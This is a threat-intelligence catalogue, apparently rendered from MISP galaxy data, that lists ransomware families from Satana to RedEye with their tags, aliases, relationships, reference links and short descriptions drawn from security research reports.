Ransomware
The tag is: misp-galaxy:ransomware="Satana"
Satana has relationships with:
-
similar: misp-galaxy:malpedia="Satana" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/ |
https://id-ransomware.blogspot.com/2016/06/satana-ransomware-0.html |
Scraper
Ransomware
The tag is: misp-galaxy:ransomware="Scraper"
Links |
http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/ |
Serpico
Ransomware DetoxCrypto Variant
The tag is: misp-galaxy:ransomware="Serpico"
Serpico has relationships with:
-
similar: misp-galaxy:malpedia="Serpico" with estimative-language:likelihood-probability="likely"
Links |
http://id-ransomware.blogspot.com/2016/08/serpico-ransomware.html |
Shark
Ransomware
The tag is: misp-galaxy:ransomware="Shark"
Shark is also known as:
-
Atom
Shark has relationships with:
-
similar: misp-galaxy:rat="SharK" with estimative-language:likelihood-probability="likely"
Links |
http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/ |
ShinoLocker
Ransomware
The tag is: misp-galaxy:ransomware="ShinoLocker"
Links |
https://id-ransomware.blogspot.com/2016/08/shinolocker-ransomware.html |
Shujin
Ransomware
The tag is: misp-galaxy:ransomware="Shujin"
Shujin is also known as:
-
KinCrypt
Shujin has relationships with:
-
similar: misp-galaxy:malpedia="Shujin" with estimative-language:likelihood-probability="likely"
Links |
http://id-ransomware.blogspot.com/2016/05/chinese-ransomware.html |
Simple_Encoder
Ransomware
The tag is: misp-galaxy:ransomware="Simple_Encoder"
Links |
https://id-ransomware.blogspot.com/2016/07/tilde-ransomware-aes-08.html |
SkidLocker
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="SkidLocker"
SkidLocker is also known as:
-
Pompous
Links |
http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/ |
http://id-ransomware.blogspot.com/2016/04/pompous-ransomware.html |
Smash!
Ransomware
The tag is: misp-galaxy:ransomware="Smash!"
Links |
https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/ |
Smrss32
Ransomware
The tag is: misp-galaxy:ransomware="Smrss32"
Links |
http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html |
SNSLocker
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="SNSLocker"
Links |
http://nyxbone.com/images/articulos/malware/snslocker/16.png |
http://id-ransomware.blogspot.com/2016/05/sns-locker-ransomware-aes-256-066.html |
Stampado
Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key
The tag is: misp-galaxy:ransomware="Stampado"
Strictor
Ransomware Based on EDA2, shows Guy Fawkes mask
The tag is: misp-galaxy:ransomware="Strictor"
Links |
Surprise
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="Surprise"
Links |
http://id-ransomware.blogspot.com/2016/05/surprise-ransomware-aes-256.html |
Survey
Ransomware Still in development, shows FileIce survey
The tag is: misp-galaxy:ransomware="Survey"
Links |
SynoLocker
Ransomware Exploited Synology NAS firmware directly over WAN
The tag is: misp-galaxy:ransomware="SynoLocker"
SZFLocker
Ransomware
The tag is: misp-galaxy:ransomware="SZFLocker"
Links |
https://id-ransomware.blogspot.com/2016/06/szflocker-polish-ransomware-email.html |
TeamXrat
Ransomware
The tag is: misp-galaxy:ransomware="TeamXrat"
Links |
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/ |
TeslaCrypt 0.x - 2.2.0
Ransomware Factorization
The tag is: misp-galaxy:ransomware="TeslaCrypt 0.x - 2.2.0"
TeslaCrypt 0.x - 2.2.0 is also known as:
-
AlphaCrypt
Links |
TeslaCrypt 3.0+
Ransomware 4.0+ has no extension
The tag is: misp-galaxy:ransomware="TeslaCrypt 3.0+"
Links |
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/ |
TeslaCrypt 4.1A
Ransomware
The tag is: misp-galaxy:ransomware="TeslaCrypt 4.1A"
Links |
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/ |
TeslaCrypt 4.2
Ransomware
The tag is: misp-galaxy:ransomware="TeslaCrypt 4.2"
Links |
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/ |
Threat Finder
Ransomware Files cannot be decrypted Has a GUI
The tag is: misp-galaxy:ransomware="Threat Finder"
TorrentLocker
Ransomware Newer variants not decryptable. Only first 2 MB are encrypted
The tag is: misp-galaxy:ransomware="TorrentLocker"
TorrentLocker is also known as:
-
Crypt0L0cker
-
CryptoFortress
-
Teerac
TorrentLocker has relationships with:
-
similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"
TowerWeb
Ransomware
The tag is: misp-galaxy:ransomware="TowerWeb"
Links |
https://id-ransomware.blogspot.com/2016/06/towerweb-ransonware-100.html |
Toxcrypt
Ransomware
The tag is: misp-galaxy:ransomware="Toxcrypt"
Links |
https://id-ransomware.blogspot.com/2016/06/toxcrypt-ransomware-aes-crypto-0.html |
Trojan
Ransomware
The tag is: misp-galaxy:ransomware="Trojan"
Trojan is also known as:
-
BrainCrypt
Links |
https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip |
http://id-ransomware.blogspot.com/2016/12/braincrypt-ransomware.html |
Troldesh orShade, XTBL
Ransomware May download additional malware after encryption
The tag is: misp-galaxy:ransomware="Troldesh orShade, XTBL"
Links |
https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf |
https://id-ransomware.blogspot.com/2016/06/troldesh-ransomware-email.html |
TrueCrypter
Ransomware
The tag is: misp-galaxy:ransomware="TrueCrypter"
Links |
http://id-ransomware.blogspot.com/2016/04/truecrypter-ransomware.html |
Turkish Ransom
Ransomware
The tag is: misp-galaxy:ransomware="Turkish Ransom"
Links |
UmbreCrypt
Ransomware CrypBoss Family
The tag is: misp-galaxy:ransomware="UmbreCrypt"
Links |
http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware |
https://id-ransomware.blogspot.com/2016/06/umbrecrypt-ransomware-aes.html |
UnblockUPC
Ransomware
The tag is: misp-galaxy:ransomware="UnblockUPC"
Links |
http://id-ransomware.blogspot.com/2016/09/unblockupc-ransomware.html |
Ungluk
Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key
The tag is: misp-galaxy:ransomware="Ungluk"
Links |
http://id-ransomware.blogspot.com/2016/05/bitmessage-ransomware-aes-256-25-btc.html |
Unlock92
Ransomware
The tag is: misp-galaxy:ransomware="Unlock92 "
Links |
https://twitter.com/malwrhunterteam/status/839038399944224768 |
http://id-ransomware.blogspot.com/2017/02/unlock26-ransomware.html |
VapeLauncher
Ransomware CryptoWire variant
The tag is: misp-galaxy:ransomware="VapeLauncher"
Links |
VaultCrypt
Ransomware
The tag is: misp-galaxy:ransomware="VaultCrypt"
VaultCrypt is also known as:
-
CrypVault
-
Zlader
VaultCrypt has relationships with:
-
similar: misp-galaxy:ransomware="Zlader" with estimative-language:likelihood-probability="likely"
Links |
VBRANSOM 7
Ransomware
The tag is: misp-galaxy:ransomware="VBRANSOM 7"
Links |
https://twitter.com/BleepinComputer/status/817851339078336513 |
VenusLocker
Ransomware Based on EDA2
The tag is: misp-galaxy:ransomware="VenusLocker"
Links |
https://id-ransomware.blogspot.com/2016/08/venuslocker-ransomware-aes-256.html |
Virlock
Ransomware Polymorphism / Self-replication
The tag is: misp-galaxy:ransomware="Virlock"
Links |
Virus-Encoder
Ransomware
The tag is: misp-galaxy:ransomware="Virus-Encoder"
Virus-Encoder is also known as:
-
CrySiS
Links |
http://www.welivesecurity.com/2016/11/24/new-decryption-tool-crysis-ransomware/ |
http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip |
WildFire Locker
Ransomware Zyklon variant
The tag is: misp-galaxy:ransomware="WildFire Locker"
WildFire Locker is also known as:
-
Hades Locker
Links |
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/ |
https://id-ransomware.blogspot.com/2016/06/wildfire-locker-ransomware-aes-256-cbc.html |
Xorist
Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length
The tag is: misp-galaxy:ransomware="Xorist"
Links |
https://id-ransomware.blogspot.com/2016/06/xrtn-ransomware-rsa-1024-gnu-privacy.html |
You Have Been Hacked!!!
Ransomware Attempt to steal passwords
The tag is: misp-galaxy:ransomware="You Have Been Hacked!!!"
Links |
https://twitter.com/malwrhunterteam/status/808280549802418181 |
Zcrypt
Ransomware
The tag is: misp-galaxy:ransomware="Zcrypt"
Zcrypt is also known as:
-
Zcryptor
Links |
https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/ |
http://id-ransomware.blogspot.com/2016/05/zcrypt-ransomware-rsa-2048-email.html |
Zimbra
Ransomware mpritsken@priest.com
The tag is: misp-galaxy:ransomware="Zimbra"
Links |
https://id-ransomware.blogspot.com/2016/06/zimbra-ransomware-aes-optzimbrastore.html |
Zlader
Ransomware VaultCrypt family
The tag is: misp-galaxy:ransomware="Zlader"
Zlader is also known as:
-
Russian
-
VaultCrypt
-
CrypVault
Zlader has relationships with:
-
similar: misp-galaxy:ransomware="VaultCrypt" with estimative-language:likelihood-probability="likely"
Links |
Zorro
Ransomware
The tag is: misp-galaxy:ransomware="Zorro"
Links |
https://twitter.com/BleepinComputer/status/844538370323812353 |
http://id-ransomware.blogspot.com/2017/03/zorro-ransomware.html |
Zyklon
Ransomware Hidden Tear family, GNL Locker variant
The tag is: misp-galaxy:ransomware="Zyklon"
Zyklon is also known as:
-
GNL Locker
Zyklon has relationships with:
-
similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"
Links |
http://id-ransomware.blogspot.com/2016/05/zyklon-locker-ransomware-windows-250.html |
vxLock
Ransomware
The tag is: misp-galaxy:ransomware="vxLock"
Links |
https://id-ransomware.blogspot.com/2017/01/vxlock-ransomware.html |
Jaff
We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.
The tag is: misp-galaxy:ransomware="Jaff"
Jaff has relationships with:
-
similar: misp-galaxy:malpedia="Jaff" with estimative-language:likelihood-probability="likely"
Links |
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html |
http://id-ransomware.blogspot.com/2017/05/jaff-ransomware.html |
Uiwix Ransomware
Using EternalBlue SMB Exploit To Infect Victims
The tag is: misp-galaxy:ransomware="Uiwix Ransomware"
Links |
http://id-ransomware.blogspot.com/2017/05/uiwix-ransomware.html |
SOREBRECT
Fileless, Code-injecting Ransomware
The tag is: misp-galaxy:ransomware="SOREBRECT"
Links |
Cyron
claims it detected "Children Pornsites" in your browser history
The tag is: misp-galaxy:ransomware="Cyron"
Links |
https://id-ransomware.blogspot.com/2017/08/cyron-ransomware.html |
Kappa
Made with OXAR builder; decryptable
The tag is: misp-galaxy:ransomware="Kappa"
Links |
Trojan Dz
CyberSplitter variant
The tag is: misp-galaxy:ransomware="Trojan Dz"
Links |
Xolzsec
ransomware written by self proclaimed script kiddies that should really be considered trollware
The tag is: misp-galaxy:ransomware="Xolzsec"
Links |
http://id-ransomware.blogspot.com/2017/08/xolzsec-ransomware.html |
FlatChestWare
HiddenTear variant; decryptable
The tag is: misp-galaxy:ransomware="FlatChestWare"
Links |
https://id-ransomware.blogspot.com/2017/08/flatchestware-ransomware.html |
SynAck
The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.
The tag is: misp-galaxy:ransomware="SynAck"
SynAck is also known as:
-
Syn Ack
SynAck has relationships with:
-
similar: misp-galaxy:malpedia="SynAck" with estimative-language:likelihood-probability="likely"
Links |
https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/ |
https://id-ransomware.blogspot.com/2017/09/synack-ransomware.html |
SyncCrypt
A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.
The tag is: misp-galaxy:ransomware="SyncCrypt"
SyncCrypt has relationships with:
-
similar: misp-galaxy:malpedia="SyncCrypt" with estimative-language:likelihood-probability="likely"
Links |
http://id-ransomware.blogspot.com/2017/08/synccrypt-ransomware.html |
Bad Rabbit
On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.
The tag is: misp-galaxy:ransomware="Bad Rabbit"
Bad Rabbit is also known as:
-
BadRabbit
-
Bad-Rabbit
Bad Rabbit has relationships with:
-
similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="NotPetya" with estimative-language:likelihood-probability="likely"
Links |
https://id-ransomware.blogspot.com/2017/10/badrabbit-ransomware.html |
Halloware
A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.
The tag is: misp-galaxy:ransomware="Halloware"
Links |
http://id-ransomware.blogspot.com/2017/11/halloware-ransomware.html |
StorageCrypt
Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User’s have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野兽.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽.exe file to other computers that open the folders on the NAS devices.
The tag is: misp-galaxy:ransomware="StorageCrypt"
Links |
https://id-ransomware.blogspot.com/2017/11/storagecrypter.html |
HC7
A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.
The tag is: misp-galaxy:ransomware="HC7"
Links |
https://id-ransomware.blogspot.com/2017/12/hc7-ransomware.html |
HC6
Predecessor of HC7
The tag is: misp-galaxy:ransomware="HC6"
Links |
https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw |
http://id-ransomware.blogspot.com/2017/11/hc6-ransomware.html |
qkG
Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.
The tag is: misp-galaxy:ransomware="qkG"
Links |
http://id-ransomware.blogspot.com/2017/11/qkg-ransomware.html |
Scarab
The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file’s name with the ".[suupport@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.
The tag is: misp-galaxy:ransomware="Scarab"
File Spider
A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like"Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appear to be in Serbian.
The tag is: misp-galaxy:ransomware="File Spider"
Links |
http://id-ransomware.blogspot.com/2017/12/file-spider-ransomware.html |
FileCoder
A barely functional piece of macOS ransomware, written in Swift.
The tag is: misp-galaxy:ransomware="FileCoder"
FileCoder is also known as:
-
FindZip
-
Patcher
FileCoder has relationships with:
-
similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"
Links |
MacRansom
A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.
The tag is: misp-galaxy:ransomware="MacRansom"
MacRansom has relationships with:
-
similar: misp-galaxy:malpedia="MacRansom" with estimative-language:likelihood-probability="likely"
Links |
GandCrab
A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.
The tag is: misp-galaxy:ransomware="GandCrab"
GandCrab has relationships with:
-
dropped-by: misp-galaxy:exploit-kit="Fallout" with estimative-language:likelihood-probability="almost-certain"
Links |
https://id-ransomware.blogspot.com/2018/01/gandcrab-ransomware.html |
ShurL0ckr
Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr’s operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.
The tag is: misp-galaxy:ransomware="ShurL0ckr"
Links |
Cryakl
ransomware
The tag is: misp-galaxy:ransomware="Cryakl"
Cryakl has relationships with:
-
similar: misp-galaxy:ransomware="Offline ransomware" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"
Thanatos
first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)
The tag is: misp-galaxy:ransomware="Thanatos"
Thanatos has relationships with:
-
similar: misp-galaxy:malpedia="Thanatos" with estimative-language:likelihood-probability="likely"
Links |
https://mobile.twitter.com/EclecticIQ/status/968478323889332226 |
http://id-ransomware.blogspot.com/2018/02/thanatos-ransomware.html |
RSAUtil
RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.
The tag is: misp-galaxy:ransomware="RSAUtil"
RSAUtil is also known as:
-
Vagger
-
DONTSLIP
Links |
https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks |
http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html |
Qwerty Ransomware
A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim’s files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file’s name.
The tag is: misp-galaxy:ransomware="Qwerty Ransomware"
Links |
Zenis Ransomware
A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.
The tag is: misp-galaxy:ransomware="Zenis Ransomware"
Links |
https://id-ransomware.blogspot.com/2018/03/zenis-ransomware.html |
Flotera Ransomware
The tag is: misp-galaxy:ransomware="Flotera Ransomware"
Links |
http://id-ransomware.blogspot.com/2017/03/flotera-ransomware.html |
Black Ruby
A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine’s maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.
The tag is: misp-galaxy:ransomware="Black Ruby"
Links |
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf] |
WhiteRose
A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.
The tag is: misp-galaxy:ransomware="WhiteRose"
Links |
http://id-ransomware.blogspot.com/2018/03/whiterose-ransomware.html |
PUBG Ransomware
In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown’s Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user’s files and folders on the user’s desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.
The tag is: misp-galaxy:ransomware="PUBG Ransomware"
Links |
https://id-ransomware.blogspot.com/2018/04/pubg-ransomware.html |
LockCrypt
LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don’t take much time preparing the attack or the payload. Instead, they’re rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.
The tag is: misp-galaxy:ransomware="LockCrypt"
Magniber Ransomware
Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.
The tag is: misp-galaxy:ransomware="Magniber Ransomware"
Links |
https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/ |
http://id-ransomware.blogspot.com/2017/10/my-decryptor-ransomware.html |
Vurten
The tag is: misp-galaxy:ransomware="Vurten"
Links |
http://id-ransomware.blogspot.com/2018/04/vurten-ransomware.html |
Reveton ransomware
A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.
The tag is: misp-galaxy:ransomware="Reveton ransomware"
Links |
https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/ |
Fusob
Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.
The tag is: misp-galaxy:ransomware="Fusob"
Links |
BansomQare Manna Ransomware
The tag is: misp-galaxy:ransomware="BansomQare Manna Ransomware"
Links |
http://id-ransomware.blogspot.com/2018/03/bansomqarewanna-ransomware.html |
Haxerboi Ransomware
The tag is: misp-galaxy:ransomware="Haxerboi Ransomware"
SkyFile
The tag is: misp-galaxy:ransomware="SkyFile"
Links |
https://twitter.com/malwrhunterteam/status/982229994364547073 |
http://id-ransomware.blogspot.com/2018/04/skyfile-ransomware.html |
MC Ransomware
Supposed joke ransomware, decrypt when running an exectable with the string "Minecraft"
The tag is: misp-galaxy:ransomware="MC Ransomware"
Links |
CSGO Ransomware
Supposed joke ransomware, decrypt when running an exectable with the string "csgo"
The tag is: misp-galaxy:ransomware="CSGO Ransomware"
Links |
XiaoBa ransomware
The tag is: misp-galaxy:ransomware="XiaoBa ransomware"
NMCRYPT Ransomware
The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.
The tag is: misp-galaxy:ransomware="NMCRYPT Ransomware"
Links |
https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/ |
Iron
It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)
The tag is: misp-galaxy:ransomware="Iron"
Links |
https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html |
http://id-ransomware.blogspot.com/2018/04/ironlocker-ransomware.html |
Tron ransomware
The tag is: misp-galaxy:ransomware="Tron ransomware"
Links |
https://twitter.com/malwrhunterteam/status/985152346773696512 |
http://id-ransomware.blogspot.com/2018/04/tron-ransomware.html |
Unnamed ramsomware 1
A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.
The tag is: misp-galaxy:ransomware="Unnamed ramsomware 1"
Links |
https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/ |
HPE iLO 4 Ransomware
Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.
The tag is: misp-galaxy:ransomware="HPE iLO 4 Ransomware"
Sigrun Ransomware
When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.
The tag is: misp-galaxy:ransomware="Sigrun Ransomware"
Links |
http://id-ransomware.blogspot.com/2018/05/sigrun-ransomware.html |
CryBrazil
Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?
The tag is: misp-galaxy:ransomware="CryBrazil"
Links |
https://twitter.com/malwrhunterteam/status/1002953824590614528 |
https://id-ransomware.blogspot.com/2018/06/crybrazil-ransomware.html |
Pedcont
new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.
The tag is: misp-galaxy:ransomware="Pedcont"
DiskDoctor
new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT
The tag is: misp-galaxy:ransomware="DiskDoctor"
DiskDoctor is also known as:
-
Scarab-DiskDoctor
Links |
https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html |
RedEye
Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.
The tag is: misp-galaxy:ransomware="RedEye"
